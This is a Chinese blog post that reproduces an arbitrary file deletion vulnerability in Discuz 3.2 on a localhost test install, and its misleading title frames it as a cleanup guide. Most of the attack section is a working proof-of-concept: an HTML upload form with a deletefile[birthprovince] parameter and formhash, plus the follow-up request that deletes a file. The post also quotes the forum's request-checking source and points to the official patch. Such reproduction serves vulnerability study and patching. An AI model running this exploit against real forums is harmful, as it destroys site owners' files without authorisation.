discuz如何清理(Discuz全版本任意文件删除漏洞)

验证用的版本:discuz3.2

0x1首先在根目录下新建一个文件

discuz如何清理(Discuz全版本任意文件删除漏洞)(1)

0x2 构造poc1修改出生地区

discuz如何清理(Discuz全版本任意文件删除漏洞)(2)

注意其中的formhash需要替换掉,具体是在源码中找。

为什么这里要替换掉formhash呢?

一开始不太清楚,网页会报错,

如下

discuz如何清理(Discuz全版本任意文件删除漏洞)(3)

看到了有一个xss验证蛮去找一下这个文件

private function _xss_check() { static $check = array('"', '>', '<', '\'', '(', ')', 'CONTENT-TRANSFER-ENCODING'); if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash()) { system_error('request_tainting'); } if($_SERVER['REQUEST_METHOD'] == 'GET' ) { $temp = $_SERVER['REQUEST_URI']; } elseif(empty ($_GET['formhash'])) { $temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input'); } else { $temp = ''; } if(!empty($temp)) { $temp = strtoupper(urldecode(urldecode($temp))); foreach ($check as $str) { if(strpos($temp, $str) !== false) { system_error('request_tainting'); } } } return true; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

发现了如下代码

if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash())

{

system_error('request_tainting');

}

这里就是对formhash做判断的地方了,当然判断地方不止一个。这里formhash应该是每次登陆后随机生成的,具体源码没有去找他,但尝试两次登陆后找到的formhash不一样

0x3 构造poc2删除zsdlove.txt文件

test->poc <form action="http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi nce]=zsdlove" method="POST" enctype="multipart/form-data"> <input type="file" name="birthprovince" id="file" /> <br><br> <input type="text" name="formhash" value="3e42ef6f"/><br><br> <input type="text" name="profilesubmit" value="1"/><br><br> <input type="submit" value="Submit" /> </from> 1 2 3 4 5 6 7 8 9

将该poc保存为html文件打开

discuz如何清理(Discuz全版本任意文件删除漏洞)(4)

随便上传一张图片,注意其中的formhash也要替换

在浏览器中访问

discuz如何清理(Discuz全版本任意文件删除漏洞)(5)

localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove 1

在看看网站根目录

discuz如何清理(Discuz全版本任意文件删除漏洞)(6)

文件已经被删除了

0x4 修复方案:官方已经发布补丁,请尽快修复

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页